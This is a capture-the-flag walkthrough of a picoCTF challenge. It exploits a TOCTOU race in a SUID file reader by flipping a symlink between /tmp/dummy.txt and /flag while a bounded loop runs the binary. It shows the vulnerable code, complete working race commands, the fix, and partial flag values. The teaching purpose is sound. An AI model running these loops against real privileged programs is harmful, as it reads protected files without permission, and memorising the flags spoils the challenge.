Description
A SUID binary opens a file with ifstream, then calls stat() on the same path to verify the file's owner matches the current user (st_uid == getuid()). Exploit the TOCTOU (Time-Of-Check Time-Of-Use) race condition by swapping a symlink between the open and the stat() ownership check to read the protected flag file.
Setup
SSH into the server with the provided credentials.
Locate the SUID binary and the flag file path.
ssh <USER>@<HOST> -p <PORT>find / -perm -4000 2>/dev/null | head -20Solution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1
Understand the open-then-stat pattern with ltraceObservationI noticed the binary is SUID and reads a file by path twice (once via ifstream and once via stat), which suggested a TOCTOU race condition and made ltrace the right first tool to confirm the call sequence and measure the gap between the open and the ownership check.Run the binary under ltrace and watch the library call sequence. You should see the ifstream constructor trigger an open() syscall, followed by stat() on the same path string - no atomic file-descriptor-based ownership verification in between.bashltrace ./txtreader /tmp/dummy.txt 2>&1 | head -20bashstrings ./txtreaderWhat didn't work first
Tried: Run strace instead of ltrace to see the syscall sequence.
strace shows raw syscalls (open, fstat, read) but does not show the C library call boundaries that reveal the ifstream constructor vs stat() separation at the source level. ltrace intercepts dynamic library calls, so you directly see the std::ifstream constructor and the stat() libc wrapper as distinct events, making the TOCTOU gap obvious without reading assembly.
Tried: Use strings to find a hardcoded flag or path bypass in the binary.
strings reveals the path format and error strings but the flag is never stored in the binary - it is read at runtime from /flag which is owned by root. The vulnerability is the race window between open and stat, not a hidden string; strings output will only confirm the stat ownership check logic, not give you a bypass.
Learn more
A TOCTOU (Time-Of-Check Time-Of-Use) race condition occurs when a program uses a resource and then checks a condition about it (or vice versa), but the underlying filesystem object can change between those two operations. In this challenge, the binary opens the file via
std::ifstream file(filename)first, and only afterward callsstat(filename.c_str(), &statbuf)to verify thatstatbuf.st_uid == getuid(). Both operations look up the filename string independently with no link between them.The vulnerable source code follows this pattern:
// src.cpp (simplified) std::ifstream file(argv[1]); // OPEN: follows symlink, as euid root struct stat statbuf; stat(argv[1], &statbuf); // CHECK: re-resolves path independently if (statbuf.st_uid != getuid()) { // ownership check vs real uid std::cout << "Permission denied" << std::endl; return 1; } // read and print file contents...Because
stat()re-resolves the path string independently from the already-openifstream, if the symlink is swapped between the open and the stat, the binary ends up having the flag file open while stat sees a user-owned dummy file, passes the ownership check, and then reads and prints the flag content. The gap between theifstreamconstructor andstat()executing is tiny - typically 10 to 100 microseconds - but that window is enough.Step 2
Set up the race condition infrastructureObservationI noticed the TOCTOU window exists only while the binary is mid-execution and resolving the same path string independently twice, which suggested creating a symlink that a concurrent switcher loop can flip atomically between a user-owned dummy file and /flag to hit that gap.Create a writable dummy file and a symlink. Write a loop that rapidly alternates the symlink between the dummy file and /flag.bashecho 'dummy' > /tmp/dummy.txtbashln -sf /tmp/dummy.txt /tmp/race_linkbash# Switcher loop pinned to CPU 1 so it runs concurrently with the attacker on CPU 0:bashtaskset -c 1 bash -c 'while true; do ln -sf /tmp/dummy.txt /tmp/race_link; ln -sf /flag /tmp/race_link; done' &What didn't work first
Tried: Point the symlink directly at /flag from the start and run the binary once.
Running the binary with a static symlink pointing at /flag means stat() also resolves to /flag, which is owned by root (not you), so the ownership check st_uid == getuid() fails and the binary prints 'Permission denied'. The race only succeeds when stat() sees a user-owned file - you must flip the symlink between the open and stat calls, not before both of them.
Tried: Omit taskset and run both loops on the same shell without CPU pinning.
Without CPU pinning, the Linux scheduler time-slices both loops on a single core, so they effectively take turns rather than running in parallel. The switcher cannot flip the symlink inside the ~10-100 microsecond window between open() and stat() if it is waiting for a scheduler time slice; taskset -c 1 moves the switcher to a separate physical core so both loops run simultaneously.
Learn more
The attack requires two concurrent processes: one that continuously flips the symlink target, and one that repeatedly invokes the SUID binary.
ln -sfon Linux implements the swap viarename(2), which is documented as atomic: "If newpath already exists, it will be atomically replaced, so that there is no point at which another process attempting to access newpath will find it missing." In practice this means no other process can ever observe a partial state where the path is missing or half-replaced; readers see either the old target or the new target, never an in-between.Why
taskset -c 1matters. If both loops run on the same CPU, the kernel scheduler interleaves them in time slices, so they effectively serialize. Pinning the switcher to a different physical core lets it run truly in parallel with the attacker, multiplying the number of effective swaps per second and dramatically narrowing the gap between syscalls in real wall-clock time.A tight loop with no sleep maximizes the number of attempts per second, which increases the probability of hitting the race window. With both loops running at ~50,000 iterations/sec, even a 1-in-1000 hit rate lands the flag within seconds. An even faster approach uses C with
rename(2)directly, avoiding shell overhead entirely.Step 3
Race the binary to read the flagObservationI noticed the switcher loop was already flipping /tmp/race_link thousands of times per second, which suggested a tight bounded retry loop invoking txtreader on that symlink repeatedly would eventually align with the ideal window where ifstream opens /flag and stat sees /tmp/dummy.txt.While the switcher loop runs, repeatedly invoke the SUID binary pointing at the symlink with a bounded retry count. Eventually the timing aligns and the flag is printed.bash# Bounded retry loop (~100k attempts), exits early on success:bashfor i in $(seq 1 100000); dobashout=$(./txtreader /tmp/race_link 2>/dev/null)bashcase "$out" in *picoCTF*) echo "$out"; break;; esacbashdonebash# Or with a wall-clock timeout:bashtimeout 30s bash -c 'while ! ./txtreader /tmp/race_link 2>/dev/null | grep picoCTF; do :; done'Expected output
picoCTF{...}What didn't work first
Tried: Run the attacker loop without starting the switcher loop first, expecting the binary to eventually read /flag on its own.
Without the switcher loop running concurrently, the symlink stays fixed at whatever target it was last set to. If it points at /flag, stat() also sees /flag (owned by root) and denies access every time. If it points at /tmp/dummy.txt, the binary reads the dummy content. The race window only opens when the symlink is actively being flipped between the two targets while the binary is mid-execution.
Tried: Pass /flag directly to the binary instead of /tmp/race_link to skip the symlink setup.
Passing /flag directly means both open() and stat() resolve to /flag with no flipping possible. stat() will always see st_uid as root, the ownership check will always fail, and the binary exits with 'Permission denied'. The entire attack depends on the indirection through a symlink that can be swapped atomically between the two independent path resolutions.
Learn more
Each iteration of the outer loop calls the binary, which first opens the symlink with
ifstream. If the link points at/flagat that moment, the binary gets a handle to the flag file. Then if the switcher flips the link back to/tmp/dummy.txtbeforestat()runs, the ownership check sees a file owned by you and passes, so the binary reads and prints the already-open flag content.Successful race timeline: switcher loop attacker loop ------------- ------------- rename(link -> /flag) ./txtreader /tmp/race_link ifstream open(link) -> /flag (opened with root euid!) rename(link -> /tmp/dummy) <--- WIN: flips here stat(link) -> /tmp/dummy (you own it) passes check read+puts -> picoCTF{...}Why probability matters. The race window is roughly the duration of a few syscalls, around 10 to 100 microseconds. The switcher must hit that exact window. Bounding the loop with
seq 1 100000ortimeout 30sprevents an unbounded spin if the race never lands due to scheduler quirks.TOCTOU vulnerabilities are classified as CWE-367. Real-world exploits have used them to escalate privileges in package managers, cron jobs, and backup utilities. The correct fix is to use
fstat(fd, &statbuf)on the already-open file descriptor rather than re-resolving the path withstat(), which closes the TOCTOU window entirely. For more on Linux command-line workflows used in this exploit, see Linux CLI for CTF.
Flag
Reveal flag
picoCTF{ToctoU_!s_3a5y_...}
Per-instance flag. The prefix picoCTF{ToctoU_!s_3a5y_ is consistent but the 8-character hex suffix varies per instance. Observed: 007659c9 and 2075872e across different instances. The flag is always specific to your own instance.